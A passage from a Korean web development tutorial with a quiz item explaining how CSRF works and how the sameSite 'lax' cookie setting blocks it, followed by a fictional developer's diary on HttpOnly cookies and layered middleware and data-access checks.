Q3. ์นœ๊ตฌ์—๊ฒŒ ์„ค๋ช…ํ•œ๋‹ค๋ฉด?

CSRF ๊ณต๊ฒฉ์ด ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€, sameSite: 'lax'๊ฐ€ ์–ด๋–ป๊ฒŒ ๋ง‰๋Š”์ง€ ์„ค๋ช…ํ•ด๋ด.

์˜ˆ์‹œ ๋‹ต๋ณ€:

"CSRF๋Š” ๊ฐ€์งœ ์‚ฌ์ดํŠธ์—์„œ ๋ชฐ๋ž˜ ์šฐ๋ฆฌ ์„œ๋ฒ„์— ์š”์ฒญ ๋ณด๋‚ด๋Š” ๊ณต๊ฒฉ์ด์•ผ. ์˜ˆ๋ฅผ ๋“ค์–ด evil.com์—์„œ ๋ฒ„ํŠผ ํด๋ฆญํ•˜๋ฉด youngsu.community/delete-account๋กœ POST ์š”์ฒญ์ด ๊ฐ€. ๋ธŒ๋ผ์šฐ์ €๋Š” ์ฟ ํ‚ค๋ฅผ ์ž๋™์œผ๋กœ ๋ถ™์—ฌ๋ณด๋‚ด๋‹ˆ๊นŒ ๋กœ๊ทธ์ธํ•œ ๊ฒƒ์ฒ˜๋Ÿผ ์ฒ˜๋ฆฌ๋  ์ˆ˜ ์žˆ์–ด. sameSite: 'lax'๋Š” '๋‹ค๋ฅธ ์‚ฌ์ดํŠธ์—์„œ ์‹œ์ž‘๋œ POST ์š”์ฒญ์—” ์ฟ ํ‚ค ๋ณด๋‚ด์ง€ ๋งˆ'์•ผ. evil.com โ†’ youngsu.community POST ์š”์ฒญ์—” ์„ธ์…˜ ์ฟ ํ‚ค๊ฐ€ ์•ˆ ๋ถ™์–ด์„œ CSRF๊ฐ€ ์‹คํŒจํ•ด."


๐Ÿฃ ์˜์ฒ ์ด์˜ ํ‡ด๊ทผ ์ผ๊ธฐ

์˜ค๋Š˜์€ ์ •๋ง ๋„ฅ์ŠคํŠธ์˜ ๋ณด์•ˆ ์š”์ƒˆ๋ฅผ ๊ตฌ์ถ•ํ•˜๋Š” 'Authentication Architecture' ๋ฅผ ๋ฐฐ์šฐ๋ฉด์„œ ๊ฐœ๋ฐœ์ž๋กœ์„œ์˜ ์ฑ…์ž„๊ฐ์„ ๋ฌด๊ฒ๊ฒŒ ๋А๋‚€ ๋‚ ์ด์•ผ. ๊ทธ๋™์•ˆ ๋‹จ์ˆœํžˆ "๋กœ๊ทธ์ธํ•˜๋ฉด ๋" ์ธ ์ค„ ์•Œ์•˜๋Š”๋ฐ, HttpOnly ์ฟ ํ‚ค๋ถ€ํ„ฐ ๋ฏธ๋“ค์›จ์–ด์™€ DAL์˜ 2๋‹จ๊ณ„ ๋ฐฉ์–ด๋ง‰๊นŒ์ง€... ์ •๋ง ๊ผผ๊ผผํ•˜๊ฒŒ ์„ค๊ณ„ํ•ด์•ผ ํ•œ๋‹ค๋Š” ๊ฑธ ๊นจ๋‹ฌ์•˜์–ด.

๐Ÿ’ก ์˜ค๋Š˜์˜ ๊ตํ›ˆ: "๋ณด์•ˆ์€ ํŽธ์˜์„ฑ๊ณผ ํƒ€ํ˜‘ํ•  ์ˆ˜ ์—†๋Š” ์˜์—ญ์ด๋‹ค. HttpOnly ์ฟ ํ‚ค๋กœ XSS๋ฅผ ๋ง‰๊ณ , ๋ฏธ๋“ค์›จ์–ด(1์ฐจ)์™€ DAL(2์ฐจ)์˜ ์ด์ค‘ ๋ฐฉ์–ด๋ง‰์œผ๋กœ ์„œ๋น„์Šค์˜ ์•ˆ์ „์„ ๋๊นŒ์ง€ ์ฑ…์ž„์ง€์ž!"

์˜ํ˜ธ ๋ฆฌ๋“œ ๋‹˜์ด ๊ฒฝ๋น„์›๊ณผ ์‹ ๋ถ„์ฆ ๋น„์œ ๋ฅผ ๋“ค์–ด ์„ค๋ช…ํ•ด ์ฃผ์‹ค ๋•Œ, ๋ณต์žกํ•œ ์ธ์ฆ ํ๋ฆ„์ด ๋จธ๋ฆฟ์†์— ์ง€๋„์ฒ˜๋Ÿผ ๊ทธ๋ ค์ง€๋”๋ผ. ์‚ฌ์šฉ์ž์˜ ์†Œ์ค‘ํ•œ ์ •๋ณด๋ฅผ ์ง€ํ‚ค๋Š” ๊ฒŒ ์–ผ๋งˆ๋‚˜ ๊ฐ€์น˜ ์žˆ๋Š” ์ผ์ธ์ง€ ๋‹ค์‹œ ํ•œ๋ฒˆ ์ƒ๊ฐํ•˜๊ฒŒ ๋์–ด. ์˜ค๋Š˜ ๋„ˆ๋ฌด ๊ธด์žฅํ•˜๋ฉด์„œ ์ฝ”๋“œ๋ฅผ ์งฐ๋”๋‹ˆ ์˜จ๋ชธ์ด ์ฐŒ๋ฆฟ์ฐŒ๋ฆฟํ•˜๋„ค. ํ‡ด๊ทผํ•˜๊ณ  ์ง‘ ๊ฐ€์„œ ๋”ฐ๋œปํ•œ ๋ฌผ๋กœ ์ƒค์›Œํ•˜๊ณ  ํ‘น ์‰ฌ์–ด์•ผ์ง€. ๋‚ด์ผ์€ ๋” '๋ฏฟ์Œ์งํ•œ' ์„œ๋น„์Šค๋ฅผ ๋งŒ๋“œ๋Š” ๊ฐœ๋ฐœ์ž๊ฐ€ ๋  ๊ฑฐ์•ผ! ๐Ÿฃ


๐Ÿ”— ๋” ์•Œ์•„๋ณด๊ธฐ